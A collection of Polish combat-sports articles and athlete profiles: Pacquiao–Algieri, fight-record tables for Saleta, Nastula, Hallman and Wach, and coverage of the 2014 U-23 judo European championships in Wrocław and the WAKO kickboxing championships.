Pacquiao pokonał kolejną przeszkodę na swojego drodze, jednak nie udało się wygrać przez nokaut. Wszyscy czekali na to starcie, jednak w okresie przygotowawczym pojawiał się inny temat. Niezwykle gorący i ciekawy. Temat pod tytułem Floyd Mayweather Jr i Manny Pacquiao w ringu. Głosy są coraz poważniejsze. Pacuqiao pokonał Algieriego i teraz wszystko jest możliwe. Pacman i Money – to byłby gwiezdny pojedynek. Niektórzy wrzucają do tego worka jeszcze Cotto czy Gołovkina, ale nie oszukujmy się – wszystkich elektryzuje możliwość starcia Pacquiao – Mayweather. Czy to starcie jest możliwe? Wydawało się, że niemożliwe jest sześć razy posłać rywala w takiej walce, a jednak Pacman sprawił, że Algieri musiał podejmować wysiłek podniesienia się z desek. Teraz wszystko jest możliwe. Show must go on.
KM
Polski bokser i Kick-bosker urodzony 7 marca 1968 roku we Wrocławiu. W 1991 roku rozpoczął starty w zawodowym boksie. W 2002 roku osiągnął największy sukces w bokserskiej karierze gdy pokonał w Dortmundzie przez TKO Launa Krasniqi, zdobywając Mistrzoswo Europy EBU w wadze ciężkiej. Tytuł ten stracił niecałe trzy miesiące później na rzecz Sinana Samila Sama. W 2007 roku związał się z organizacją KSW, dla której stoczył dwa pojedynki. W 2010 roku, po wygranej walce z Marcinem Najmanem zapowiedział, że była to prawdopodobnie jego ostatnia walka w karierze. Przemek jednak wrócił na ring i stoczył rewanżowy pojedynek z Marcinem Najmanem na zasadach K-1 na gali MMA Attack 1, która odbyła sie 5 listopada 2011 roku. 23 lutego 2013 roku, w Gdańsku Przemek stoczył pożegnalny pojedynek w którym pokonał Andrzeja Gołote przez nokaut w 6 rundzie. W swojej bokserskiej karierze Przemysław stoczył 51 walk z czego 44 razy wygrywał. Jego największe sukcesy w boksie to:
Przemysław Saleta również startował z sukcesami w Kick-Boxingu. W tej dyscyplinie sportu Saleta stoczył 35 walk z czego 34 wygrał. Jego największe sukcesy to:
Polski judoka urodzony 26 czerwca 1970 roku w Warszawie. Swoją przygodę z judo rozpoczął w wieku 10 lat trenując w klubie AZS AWF Warszawa, gdzie jego długoletnim trenerem był Wojciech Borowiak. W 1989 roku zdobył brązowy medal Młodzieżowych Mistrzostw Europy w Atenach, rok później powtórzył ten sukces. W 1991 roku Paweł zdobył mistrzostwo Polski w kategorii wagowej do 95 kg oraz srebrny medal w kategorii open. W 1992 roku Paweł Nastula wystartował na Igrzyskach Olimpijskich w Barcelonie, na których ostatecznie zajął piąte miejsce. W tym samym roku Polak wygrał prestiżowy turniej Jigoro Kano Cup w Tokio. Paweł był pierwszym Polakiem, który wygrał ten turniej. W lutym 1994 roku został finalistą turnieju w Paryżu, przegrał wówczas Francuz Eric Fauroux. W tym samy roku Paweł wygrał Mistrzostwa Europy w Gdańsku pokonując w walce finałowej Holendra Bena Sonnemansa. Na Igrzyska Olimpijskie w 1996 roku Paweł pojechał w roli faworyta turnieju. Paweł wygrał turniej w finałowej walce pokonując Koreańczyka Kim Min-Soo zdobywając złoto Olimpijskie. W 1996 roku został wybrany przez Europejską Unie Judo najlepszym zawodnikiem z Europy. W 2004 roku zakończył karierę Judoki. Po zakończeniu kariery Judoki Paweł rozpoczął treningi MMA. W latach 2005 – 2006 walczył dla prestiżowej organizacji PRIDE FC. Dla Pride stoczył w sumie 4 pojedynki, w których 3 przegrał i jeden wygrał. Paweł obecnie jest związany z KSW gdzie stoczył wygrany pojedynek z Amerykaninem Kevinem Asplundem, oraz przegraną walkę z Karolem Bedorfem. Paweł Nastula jest odznaczony Krzyżem Kawalerskim Orderu Odrodzenia Polski za wybitne osiągnięcia sportowe.
Największe osiągnięcia Pawła to:
Złoty medal Igrzysk Olimpijskich 1996 rok,
Złoty medal Mistrzostw Świata 1995 rok,
Złoty medal Mistrzostw Świata 1997 rok,
Srebrny medal Mistrzostw Świata 1991 rok,
Złoty medal Mistrzostw Europy 1994 rok,
Złoty medal Mistrzostw Europy 1995 rok,
Złoty medal Mistrzostw Europy 1996 rok,
Srebrny medal Mistrzostw Europy 1999 rok,
Trzynastokrotny Mistrz Polski.
Polski zawodnik MMA urodzony 25 sierpnia 1987 roku w Gdyni. Piotr jest oficerem wojska Polskiego w stopniu podporucznika. Polak trenuje MMA w klubie Mighty Bulls Gdynia pod okiem Grzegorza Jakubowskiego. Od 2013 roku po serii 9 zwycięstw związał się z największą organizacją MMA na świecie UFC. Pierwszym sportem walki jaki zaczął trenować było karate, potem capoeria a na końcu MMA. Piotr walczy w kategorii wagowej lekkiej. Po swojej walce z Gleisonem Tibau został zawieszony na dziewięć miesięcy za użycie niedozwolonego sterydu drostanolon.
Lista walk Piotra Hallmana w MMA:
Wynik |
Bilans |
Rywal |
Rozstrzygnięcie |
Runda |
Czas |
Rozgrywki |
Przegrana |
15-3 |
Gleison Tibau |
Decyzja (niejedno głośna) |
3 |
5:00 |
UFC Fight Night: Silva vs Arlovski |
Wygrana |
15-2 |
Yves Edvards |
Poddanie (duszenie zza pleców) |
3 |
2:31 |
UFC Fight Night: Henderson vs Khalibov |
Przegrana |
14-2 |
Al Iaquinta |
Decyzja (jednogłośna) |
3 |
5:00 |
UFC Fight Night: Machida vs Munoz |
Wygrana |
14-1 |
Francisco Trinaldo |
Poddanie (kimura) |
2 |
3:50 |
UFC Fight Night: Teixeira vs Bader |
Wygrana |
13-1 |
Juha-Pekka VainiKainen |
Decyzja (jednogłośna) |
3 |
5:00 |
MMA Attack 3 |
Wygrana |
12-1 |
Ivica Truscek |
Poddanie (duszenie zza pleców) |
2 |
0:47 |
Celtic Gladiator VI |
Wygrana |
11-1 |
Vaso Bakocevic |
TKO |
2 |
0:47 |
WFC 17: Olimp Live & Fight |
Wygrana |
10-1 |
Jarkko Latomaki |
TKO |
1 |
4:02 |
BP 12 – Botonia Punishment 12 |
Wygrana |
9-1 |
Kevin Donnelly |
Poddanie (duszenie zza pleców) |
2 |
4:47 |
Cage Warriors Fight Night 5 |
Wygrana |
8-1 |
Szymon Walaszek |
Poddanie (duszenie zza pleców) |
1 |
2:18 |
R1 – Round 1 |
Wygrana |
7-1 |
Tamirlan Dadajew |
Poddanie (duszenie zza pleców) |
1 |
11:23 |
R2F- Casino Fight Night 2 |
Wygrana |
6-1 |
Avtandil Schoshiashvili |
KO |
1 |
0:12 |
R2F- Casino Fight Night 2 |
Wygrana |
5-1 |
Rastislav Hanulay |
Poddanie (duszenie zza pleców) |
2 |
4:08 |
Ring XF 3 – Double Battle |
Przegrana |
4-1 |
Christian Eckerlin |
TKO |
4 |
0:51 |
GMC 2 – Continued |
Wygrana |
4-0 |
Kerim Abzaiłow |
TKO |
1 |
2:47 |
RING XF 2 – Second Coming |
Wygrana |
3-0 |
Rafał Terlikowski |
TKO |
1 |
1:42 |
Shooto Poland – Polish Shooto League 9 |
Wygrana |
2-0 |
Paweł Wołowiec |
TKO |
1 |
2:15 |
Shooto Poland – Held vs. Lasota |
Wygrana |
1-0 |
Krzysztof Adaszak |
TKO |
1 |
2:49 |
BOTE – Beast of the East |
Polski zawodnik MMA urodzony 19 sierpnia 1989 roku w Elblągu. Trenuje w klubie Okniński MMA pod okiem Mirosława Oknińskiego. Od października 2013 roku związany jest kontraktem z największą organizacją MMA na świecie UFC.
Oto wykaz walk Krzysztofa w MMA:
Wynik |
Bilans |
Przeciwnik |
Rozstrzygnięcie |
Runda |
Czas |
Rozgrywki |
Wygrana |
15-1 |
Tor Troeng |
Decyzja (jednogłośna) |
3 |
5:00 |
UFC Fight Nught: Nelson vs Story |
Przegrana |
14-1 |
Magnus Cedenblad |
Poddanie (duszenie gilotynowe) |
2 |
4:59 |
UFC Fight Night: Munoz vs Mousasi |
Wygrana |
14-0 |
Bruno Santos |
Decyzja (jednogłośna) |
3 |
5:00 |
UFC Fight Night: Hunt vs Bigfoot |
Wygrana |
13-0 |
Bojan Velickovic |
Decyzja (niejednogłośna) |
3 |
5:00 |
MMA Attack 3 |
Wygrana |
12-0 |
Martin Zawada |
Decyzja (jednogłośna) |
3 |
5:00 |
Merseburg Fight Night 5 |
Wygrana |
11-0 |
Fabian Loevke |
Poddanie (duszenie zza pleców) |
2 |
1:12 |
Merseburg Fight Night 5 |
Wygrana |
10-0 |
Damir Hadzovic |
Decyzja (jednogłośna) |
3 |
5:00 |
MMA Attack 2 |
Wygrana |
9-0 |
Tomasz Kondraciuk |
Poddanie (ciosy pięściami) |
2 |
4:08 |
Night of Champions 3 |
Wygrana |
8-0 |
Krzysztof Sadecki |
Decyzja (jednogłośna) |
3 |
5:00 |
Pro Fight 6 |
Wygrana |
7-0 |
Michał Łutka |
TKO |
1 |
3:09 |
Fight Club Koszalin |
Wygrana |
6-0 |
Oskar Ślepowroński |
TKO |
1 |
4:09 |
Gala Sportów walki w Chełmie |
Wygrana |
5-0 |
Chamil Yliasov |
TKO |
1 |
|
IV Gala Sportów Walki w Ząbkowicach Śląskich |
Wygrana |
4-0 |
Przemysław Truszewski |
TKO |
2 |
|
IV Gala Sportów Walki w Ząbkowicach Śląskich |
Wygrana |
3-0 |
Łukasz Nikołajczyk |
Decyzja (jednogłośna) |
2 |
5:00 |
IV Gala Sportów Walki w Ząbkowicach Śląskich |
Wygrana |
2-0 |
|
Decyzja (jednogłośna) |
2 |
5:00 |
Black Dragon Fight Show |
Wygrana |
1-0 |
|
Decyzja (jednogłośna) |
2 |
5:00 |
Pro Fight 5 |
Zapraszamy do obejrzenia relacji z drugiego dnia Mistrzostw Europy WAKO.
[kod]
Polski bokser urodzony 14 grudnia 1979 roku w Krakowie posiadacz pasa WBC International oraz TWBA w wadze ciężkiej.
Swoją zawodową karierę rozpoczął od wygranej walki z Łotyszem Dennisa Melniksa na gali w Świebodzicach 29 kwietnia 2005 roku. 26 czerwca 2006 roku stoczył kolejny zwycięski pojedynek, gdzie pokonał Kanadyjczyka Arthura Cooka. Zwycięzca pojedynku otrzymał tytuł Międzynarodowego Mistrza Polski w kategorii wagowej ciężkiej. W tym samym roku Mariusz otrzymał szanse walki o pas mistrzowski federacji TWBA. Polak wygrał tę walkę przez nokaut techniczny w czwartej rundzie, zwyciężając Węgra Zlotana Beresema. W 2009 roku Mariusz stanął w obronie pasa federacji TWBA pokonując Amerykanina Juliusa Longa. 17 lipca 2010 roku Mariusz wrócił na ring po rocznej przerwie spowodowanej kontuzją. Na gali w Schwerinie pokonał przez nokaut Christiana Hammera. Kolejny pojedynek Polak stoczył 19 lutego 2011 roku, jego rywalem był Jonathan Haggler. Stawką tego pojedynku był pas WBC Baltic. Mariusz wygrał tę walkę przez nokaut w trzeciej rundzie. 29 lipca 2011 roku zdobył pas WBC International nokautując Kevina McBride’a. W 2011 roku stoczył jeszcze jeden zwycięski pojedynek. Mariusz znokautował Jasona Gaverna. 24 marca 2012 roku Mariusz skutecznie obronił pas WBC International pokonując Tye Fieldsa. W 2012 roku organizacja promująca Mariusza Wacha podpisała kontrakt na walkę Polaka z Wołodymyrem Klitchko. Walka odbyła się 10 listopada 2012 roku w Hamburgu. Polak przegrał starcie z Ukraińcem na punkty. Po walce okazało się ze Polak stosował niedozwolone substancje za co został zawieszony na osiem miesięcy do 11 lipca 2013 roku. Kolejną walkę Mariusz stoczył z Samirem Kurtagiciem. Polak wygrał po jednogłośnej decyzji sędziów.
Wynik |
Rekord |
Przeciwnik |
Werdykt |
Runda |
Data |
Wygrana |
28-1 |
Samir Kurtagic |
UD |
8 |
17-10-2014 |
Przegrana |
27-1 |
Wołodymyr Klitchko |
UD |
12 |
10-11-2012 |
Wygrana |
27-0 |
Tye Fields |
TKO |
6 |
24-03-2012 |
Wygrana |
26-0 |
Jason Gavern |
TKO |
6 |
06-11-2011 |
Wygrana |
25-0 |
Kevin McBride |
KO |
4 |
29-07-2011 |
Wygrana |
24-0 |
Jonathan Haggler |
KO |
3 |
29-02-2011 |
Wygrana |
23-0 |
Galen Brown |
TKO |
4 |
12-11-2010 |
Wygrana |
22-0 |
Christian Hammer |
KO |
6 |
17-07-2010 |
Wygrana |
21-0 |
Julius Long |
TKO |
7 |
24-04-2009 |
Wygrana |
20-0 |
Remigijus Ziausys |
UD |
6 |
07-02-2009 |
Wygrana |
19-0 |
Jewgienij Orłow |
PTS |
10 |
21-11-2008 |
Wygrana |
18-0 |
Daniił Pierietiat’ko |
UD |
8 |
07-08-2008 |
Wygrana |
17-0 |
Eric Boose |
TKO |
7 |
11-07-2008 |
Wygrana |
16-0 |
Eduardo Franca |
KO |
1 |
13-03-2008 |
Wygrana |
15-0 |
Jawor Marinczew |
UD |
4 |
15-12-2007 |
Wygrana |
14-0 |
Andrij Kindricz |
UD |
6 |
16-11-2007 |
Wygrana |
13-0 |
Zoltan Beres |
TKO |
4 |
16-12-2006 |
Wygrana |
12-0 |
Aleksandrs Borhovs |
RTD |
5 |
20-10-2006 |
Wygrana |
11-0 |
Arthur Cook |
RTD |
9 |
23-06-2006 |
Wygrana |
10-0 |
Raman Suchacieryn |
UD |
6 |
03-06-2006 |
Wygrana |
9-0 |
Ołeh Bielikow |
TKO |
2 |
06-04-2006 |
Wygrana |
8-0 |
Earl Ladson |
UD |
6 |
10-03-2006 |
Wygrana |
7-0 |
Adele Olakanye |
UD |
4 |
28-01-2006 |
Wygrana |
6-0 |
Ołeksandr Subin |
UD |
6 |
17-12-2005 |
Wygrana |
5-0 |
Tomas Mrazek |
UD |
4 |
01-12-2005 |
Wygrana |
4-0 |
Sedrak Agagulian |
UD |
4 |
27-10-2005 |
Wygrana |
3-0 |
Aleksandrs Borhovs |
UD |
4 |
01-10-2005 |
Wygrana |
2-0 |
Milan Becak |
TKO |
2 |
05-08-2005 |
Wygrana |
1-0 |
Deniss Melniks |
TKO |
1 |
29-04-2005 |
UD – jednogłośna decyzja. PTS – walka zakończona na punkty. RTD – techniczna decyzja sędziów
Wrocław był areną zmagań młodych judoków. Młodzieżowe Mistrzostwa Europy U-23 za nami. Czy były dla nas udane? Jak poradził sobie Wrocław?
Zacznijmy od odpowiedzi na ostatnie pytanie. Mówiąc krótko: tak, Wrocław dał radę. Impreza stała na bardzo dobrym poziomie. Organizatorzy zapewnili młodym judokom odpowiednie warunki do rozgrywania zawodów. Ponadto, turniej cieszył się zainteresowaniem mediów – zarówno na poziomie lokalnym jak i ogólnopolskim, a także europejskim. Zawody przebiegały bez większych utrudnień, co warto odnotować, gdyż w przypadku imprezy takiej rangi wszystko jest dokładnie widoczne. Jednakże we Wrocławiu do spektakularnych wpadek nie doszło. Warto podkreślić, że miasto godnie wywiązało się z powieżonego zadania. Na pewno organizatorzy zasłużyli na plusa.
Czy na plusa zasłużyła nasza reprezentacja? Nad tym należy zastanowić się dość poważnie. Personalia odłóżmy na chwilę na bok, zajmijmy się osiągnięciami. We Wrocławiu nasza reprezentacja wywalczyła jeden medal – srebrny. De facto biało – czerwoni powtórzyli wynik z poprzedniego turnieju. Z tą różnicą, że w 2013 roku był to brąz. Nie można obecnego osiagnięcia porównać z wynikiem uzyskanym dwa lata temu. Trzy medale świadczą o bardzo dobrym występie naszych reprezentantów. Jak patrzeć zatem na srebro zdobyte we Wrocławiu? Po chłopsku: nie jest źle, mogło być gorzej. Niby prawda. Rok temu też był medal – tyle, że brąz, a teraz jest srebro. Jednym słowem: rozwijamy się, ale w 2012 roku było zdecydowanie lepiej. Czyli jeszcze potrzeba nam czasu. Mimo wszystko wymagania i oczekiwania były większe. Czy przesadzone? Teraz pochylmy się nad personaliami.
Blisko podium były Karolina Pieńkowska oraz Beata Pacut. Obie ostatecznie uplasowały się na piątych miejsach w swoich kategoriach wagowych. Pacut w półfinale przegrała z Klarą Apotekar, a w walce o brąz uległa Anastasii Turchyn z Ukrainy. Karolina Pieńkowska doświadcza syndromu piątych miejsc, czego potwierdzeniem jest wrocławski wynik. O pechu może mówić Aleksandra Jabłońska. Sędzia uznał drugie waza – ari i pokazał ippon, choć nasza zawodniczka trzymała rywalkę. Arbiter był nieugięty. Medalistka poprzednich mistrzostw Europy Karolina Tałach pożegnała się z imprezą już w 1/16. Elisavet Teltsidou okazała się lepsza wygrywając przez waza-ari. Rozczarowała Arleta Podolak. Nasza judoczka stoczyła tylko jedną walkę w turnieju. Przegrała z Norą Gjakową, która sięgnęła po mistrzostwo Europy w kategorii 57 kg.
Wśród panów szans medalowych nie wykorzystali Kamil Niedziela i Kamil Grabowski, którzy przegrali swoje walki o brązowy medal. Patryk Ciechomski z Jutrzenki Płock w drugiej rundzie uległ Ukraińcowi Witalijowi Kowtunowowi. Na tym samym etapie z turniejem pożegnał się Damian Nasiadko. W pierwszej rundzie odpadli za to Tomasz Kwiatkowski oraz Damian Stępień.
Łukasz Kiełbasiński zdobył jedyny dla Polski medal podczas młodziezowych mistrzostw Europy U-23. Kiełbasa rozbudził nasze nadzieje, gdyż krążek wywalczył już pierwszego dnia imprezy. Kiełbasiński szedł jak burza. W pierwszym pojedynku rozprawił się z Czechem Davidem Pulkrabkiem. Kolejnym rywalem Polaka był Daniel Ben David, w następnej rundzie Kiełbasińskiemu przyszło zmierzyć się z Basem Koffijbergiem. Polski judoka pokonał te przeszkody i w półfinale stanął oko w oko z Leczi Ediewem z Rosji. Jednego reprezentanta Sbornej Kiełbasiński pokonał, ale w finale nie dał już rady Islamowi Jaszuewowi. Medal Kiełbasińskiego okazał się naszą jedyną zdobyczą na tej imprezy.
Dlaczego tylko jeden medal? Co się stalo? Oczekiwania były zupełnie inne. Nasi reprezentanci mieli potwierdzić, że polskie judo wraca na właściwą drogę. Oczekiwano, że biało-czerwoni będą walczyć o medale i poprawią wynik z poprzednich mistrzostw. Blisko zdobyczy medalowej była czwórka Polaków, jednak ostatecznie zajęli piąte lokaty. Jedynie Kiełbasiński spełnił oczekiwania i uratował honor polskiego judo. Z pewnością judocy nie poradzili sobie z presją. W zawodach najwyższej rangi osiągali dobre wyniki, jednak tam mogli sprawić niespodziankę. W mistrzostwach nasi reprezentanci uchodzili za faworytów i kandydatów do medali – Podolak, Pieńkowska czy Grabowski. Nie udało się. Można zauważyć, że jest materiał do pracy nad koncentracją i umiejętnością startowania pod presją. Czy dodatkowym dyskomfortem był fakt, że zawody odbywały się na polskiej ziemi? Być może niektórych sparaliżował strach. Pozostaje liczyć, że nasi judocy dojrzeją i będą potrafili radzić sobie z presją. Z dnia na dzień nie starcili umiejętności sportowych. Problem tkwi w głowach.
Jeden medal, a miało być więcej, ale trzeba się cieszyć z sukcesu Łukasza Kiełbasińskiego. Być może dobrze, że niektórym „młodym” nie wyszło. To swego rodzaju zimny prysznic i zarazem próba. Każdy musi nauczyć się przegrywać i zarazem chcieć się odgrywać.
Wrocław zaprezentował się z dobrej strony. Młodzieżowe Mistrzostwa Europy U-23 w judo zostały zorganizowane na wysokim poziomie. Cieszy, że Polska jest areną zmagań judoków i coraz chętniej nasz kraj jest organizatorem wielu imprez sportowtowych. To bardzo pozytywne doświadczenie. Brakuje trochę na poziomie sportowym. Miało być inaczej, jednak nie należy rozpamiętywać tego faktu. Najlepszą drogą jest wyciągnięcie wniosków i dalsze działanie.
KM
Zapraszamy na transmisję na żywo z Mistrzostw Europy U23 Judo. Przygotowalismy dla Państwa relację live z całości zawodów odbywających się w dniach 14-16 listopada 2014 r. w hali Orbita we Wrocławiu. Transmisja będzie z każdej Tatami osobno oraz uruchomiliśmy kanał główny ze studiem i komentarzem.
[kod]
Main Chanel
Do starcia mistrza świata WBO wagi junior półśredniej Chrisa Algieriego z mistrzem świata WBO wagi półśredniej Manny’m Pacquiao dojdzie 22 listopada. Jednak walka rozpoczęła się już kilka tygodni temu – walka na słowa.
Algieri jest wyższy od swojego rywala, jednak nie uchodzi za faworyta tego pojedynku. Pacquiao za wielu uznawany jest za najlepszego pięściarza bez podziału na kategorie wagowe. W rywalizacji z Algierim za Pacmanem przemawia także fakt, że limit wagowy ustalony został na 144 funty. Rywal Filipińczyka nie ukrywa, że oczekiwał innego rozwiązania: – Jestem większym od niego facetem i do tego walczę bardziej technicznie. Chciałem, aby limit na ten pojedynek był wyznaczony na poziomie 147 funtów. Chciałem walczyć o prawdziwy tytuł kategorii półśredniej.
Pacquiao uważa, że Algieri w pojedynku z nim będzie ostrożny. Pacman podczas rozpracowywania rywala doszedł do wniosku, że ten postawi na starcie w półdystansie. Zdaniem Filipińczyka jego przeciwnik nie będzie chciał podejmować walki. Czy Pacman dobrze rozpracował rywala? Sam ma prosty plan na ten pojedynek. – Nie mam zamiaru nastawiać się na nokaut, tylko skupić się na tym, aby ten pojedynek wygrać. Spodziewam się, że on będzie przede mną uciekał.
Algieri mimo, że stawiany jest na straconej pozycji nie poddaje się. Ciężko trenuje, zna swoją wartość i chce sprawić niespodziankę. – Trenuję 6 dni w tygodniu. Większość treningów odbywa się dwa razy dziennie. Manny powiedział, że będę najsprytniejszym z jego dotychczasowych rywali i tu się z nim w pełni zgadzam.
W kontekście pojedynku Algieri – Pacquiao głos zabrał Floyd Mayweather Jr. Money oskarżał Pacmana o to, że nadużywa jego nazwiska do wypromowania swojej najbliższej walki. Według Mayweathera Filipińczyk chce zwiększyć zainteresowanie pojedynkiem z Algierim i tym samym podbić dochody z pay per view. Pacman zdecydowanie się od tego odcina, nie chce mówić o Moneyu. – Nie chcę, aby nazwisko Floyda było teraz wymieniane, ponieważ on myśli, że na jego nazwisku promuję walkę z Algierim.
Algieri wie jaką wartość ma pojedynek z Pacquiao. Wygrana mogłaby mu otworzyć drzwi do walki z najlepszymi, a także zwiększyć jego dochody. – W tym momencie znajduję się na szczycie tego sportu. Zwycięstwo w tej walce sprawi, że otworzy się przede mną możliwość toczenia walki nie tylko z czołówką wagi półśredniej, ale najlepszych pięściarzy z całego świata. Teraz czas na walki z wielkimi nazwiskami. Udowodnię, że należę do czołówki.
Teoretycznie Pacquiao skupia się na najbliższej walce z Algierim, ale myślami jest już w przyszłym roku. O czym myśli? Gdzieś tam w jego głowie tkwi możliwość walki z Mayweatherem. – Mam nadzieję, że w przyszłym roku dojdzie do tej walki. Teraz skupiam się tylko na najbliższej walce z Algierim.
I jednej i drugi ciężko trenują. Często zabierają głos zachwalając siebie, opowiadając o rywalu oraz możliwościach. Algieri staje przed ogromną szansą, gdyż nie jest uznawany za faworyta. Wszystko za to układa się po myśli Pacmana. Walka w limicie 144 funtów jest jak najbardziej korzystna dla niego. 22 listopada walka słowna zakończy się. W tym wszystkim najciekawsze jest to, że pojedynek stoczą Algieri i Pacquiao, ale coraz częściej mówi się o Mayweatherze. Gdzie dwóch się bije… Ale o co tak właściwie chodzi? Zobaczymy po 22 listopada.
KM
Wrocław zaprasza, Wrocław wita. W dniach 14 – 16 listopada w stolicy Dolnego Śląska odbędą się młodzieżowe mistrzostwa Europy U-23 w judo.
Polskę będzie reprezentowało łącznie osiemnastu zawodników – dziewięciu panów i dziewięć pań. Trenerka żeńskiej reprezentacji Aneta Szczepańska wierzy w dobre występy swoich podopiecznych. Rzeczywistość jak najbardziej potwierdza jej nadzieje. W końcu w kadrze ma do dyspozycji mistrzynię świata juniorek Arletę Podolak oraz brązową medalistkę poprzednich młodzieżowych mistrzostw Europy Karolinę Tałach. Z pewnością obie zawodniczki powalczą o medale, gdyż są w dobrej formie. Warto zaznaczyć, że Tałach w porównaniu z poprzednimi mistrzostwami walczy w innej kategorii wagowej. W Samokovie brązowy medal wywalczyła w kategorii 70 kg, teraz walczy w 63 kg. O szansach medalowych mówi się również w kontekście Karoliny Pieńkowskiej. Zawodniczka AZS-u AWF Warszawa musi wreszcie przerwać serię porażek z Włoszką Odette Giuffridą. W ostatniej chwili do kadry dołączyła Aleksandra Jabłońska. 20-latka z Gdańska w tym roku wywalczyła złoty medal mistrzostw Polski juniorek. Ponadto, była druga w Pucharze Europy Juniorek w Kownie.
Szkoleniowiec męskiej reprezentacji Piotr Sadowski liczy na co najmniej jeden medal swoich podopiecznych. Wysoko mierzą walczący w kategorii 63 kg Łukasz Kiełbasiński oraz Bartłomiej Garbacik. W dobrej dyspozycji jest Patryk Ciechomski z Płocka. Warto pamiętać o zawodnikach wagi ciężkiej – Kamilu Grabowskim oraz Damianie Nasiadko.
Dla naszych zawodników dodatkową motywacją z pewnością będzie występ na polskiej ziemi. Trener Szczepańska mocno wierzy w swoje zawodniczki, Piotr Sadowski również ma nadzieję na krążek swoich podopiecznych. Bez medalu nie może się obejść. W ostatnich dziesięciu latach za każdym razem z młodzieżowych mistrzostw Europy U-23 nasi reprezentanci przywozili medale. Rok temu brąz wywalczyła Karolina Tałach. W 2012 roku Polska zdobyła trzy krążki. Złoto wywalczył Damian Szwarnowiecki, po srebro sięgnął Tomasz Dumański, a brąz trafił do Katarzyny Furmanek. Teraz też liczymy na dobry wynik.
Niestety, w kadrze zabrakło Damiana Szwarnowieckiego, który ma problemy z plecami oraz Anny Borowskiej i Piotra Kuczery – ta dwójka odpoczywa po ciężkim sezonie. Nasza kadra liczy osiemnastu zawodników, którzy z pewnością na własnym terenie będą walczyli ambitnie i dadzą z siebie wszystko. Wrocław przyjmie najlepszych młodych judoków . Przez kilka dni hala Orbita będzie prawdziwą areną walki.
Kadra Polski na MME U-23:
-48 kg Joanna Stankiewicz (AZS AWF Warszawa), -52 kg Karolina Pieńkowska (AZS UW Warszawa), Dorota Smorzewska (UKS Sensei Płock), -57 kg Arleta Podolak (GKS Czarni Bytom), -63 kg Karolina Tałach (SGKS Wybrzeże Gdańsk), Justyna Karpała (AZS AWF Wrocław), -70 kg Aleksandra Jabłońska (AZS AWFiS Gdańsk), -78 kg Beata Pacut (GKS Czarni Bytom), Anna Załęczna +78 kg (TKS Judo Toruń)
-60 kg Bartłomiej Garbacik (AZS AWF Katowice) i Łukasz Kiełbasiński (UKJ Ryś Warszawa), -73 kg Damian Stępień (UMKS Żak Kielce), -81 kg Tomasz Szczepaniak (KJ AZS Opole), Tomasz Kwiatkowski (GKS Czarni Bytom), -90 kg Patryk Ciechomski (UMKS Jutrzenka Płock), -100 kg Kamil Niedziela (AZS Gliwice), +100 kg Kamil Grabowski (GKS Czarni Bytom), Damian Nasiadko (SGKS Wybrzeże Gdańsk).
FighTime przeprowadzi transmisję z imprezy. Serdecznie Państwa zapraszamy do oglądania naszych transmisji i kibicowania naszym reprezentantom. Trzymajmy kciuki za naszych judoków. Młodzieżowe Mistrzostwa Europy U-23 na żywo w FighTime TV!
KM
Przed nami kolejna mistrzowska impreza, w której liczymy na zdobycz medalową naszych reprezentantów. Przed nami Mistrzostwa Europy WAKO Seniorów w kickboxingu. Impreza odbędzie się w Mariborze w dniach 15 – 23 listopada.
Nasi reprezentanci do Słowenii udadzą się 15 listopada. W jakim celu udają się do Mariboru biało – czerwoni? Na pewno nie po to, aby odhaczyć swoją obecność. Polacy jadą, trzeba to wyraźnie podkreślić, aby walczyć o medale. Nasza reprezentacja ma potencjał, który powinien być przekuty na sukcesy. Oczywiście, trzeba uwzględniać potencjał rywali i mieć świadomość, że nie wrócimy z mistrzami świata we wszystkich kategoriach wagowych. Nie o to chodzi. Należy podkreślić, że Polacy jadą po medale i jak najwyższe miejsca. Powrót bez jakiegokolwiek krążku jest niedopuszczalny. Wręcz niemożliwy!
Do Mariboru jedzie nasz mistrz świata Kamil Ruta, który jest nadzieją polskiego kickboxingu i posiada umiejętności predysponujące go do utrzymywania się na szczycie. Ponadto, na mistrzostwach szansę zaprezentowania dostanie utalentowany Jerzy Wroński. Walczący w formule kick-light do 74 kg warszawianin jest naszą cichą nadzieją na medal. Tak jak i Rutę, Wrońskiego stać na sięgnięcie po złoto. Tylko, żeby coś nie stanęło im na przeszkodzie… Czytaj: Bilbao i sędziowie.
W akcji zobaczymy też Rogera Garbaczewskiego z Siedlec z kick-light w wadze 69 kg, Patryka Zaborowskiego z Gdańska w kategorii 94 kg, Artura Bizewskiego z Kartuz, Marcina Nasiadko czy Adriana Durmę w light – contact. Wśród pań Martyna Dzięciołowska z Kobyłki, Anna Szczecińska, Paulina Jarzmik, Paulina Frankowska czy Monika Kędzierska. Głęboko wierzymy w dobre przygotowanie naszych zawodników i jak to często bywa w kickboxingu w łut szczęścia. Szczęście jak najbardziej się przyda, gdyż w walce nie wszystko jest zależne od zawodnika. Może być genialnie przygotowany, jednak błąd osób trzecich może przekreślić szansę na dobry wynik.
Wydaje się, że trasa licząca 1860 kilometrów nie może być pokonana „na pusto”. Wraz z zawodnikami do Mariboru uda się trzech trenerów. Rafał Kałużny oraz Tomasz Biernacki, odpowiednio I i II szkoleniowiec w kick-light. Trzecim szkoleniowcem jest opiekun zawodników pointfighting i light contact Piotr Siegoczyński. Licząca ponad trzydzieści osób kadra Polski zjawi się w Mariborze 16 listopada rano. Zawodnicy będą mieli czas na aklimatyzację, roztrenowanie i mentalne przygotowanie się do zawodów. Skoro mówimy o mistrzostwach Europy WAKO to oczekujemy, że fighterzy będą mieli odpowiednie warunki do ćwiczeń. Oficjalne otwarcie imprezy będzie miało miejsce 18 listopada w mariborskiej gali Dvorana Tabor. Zawodnicy rozpoczną rywalizację dzień później.
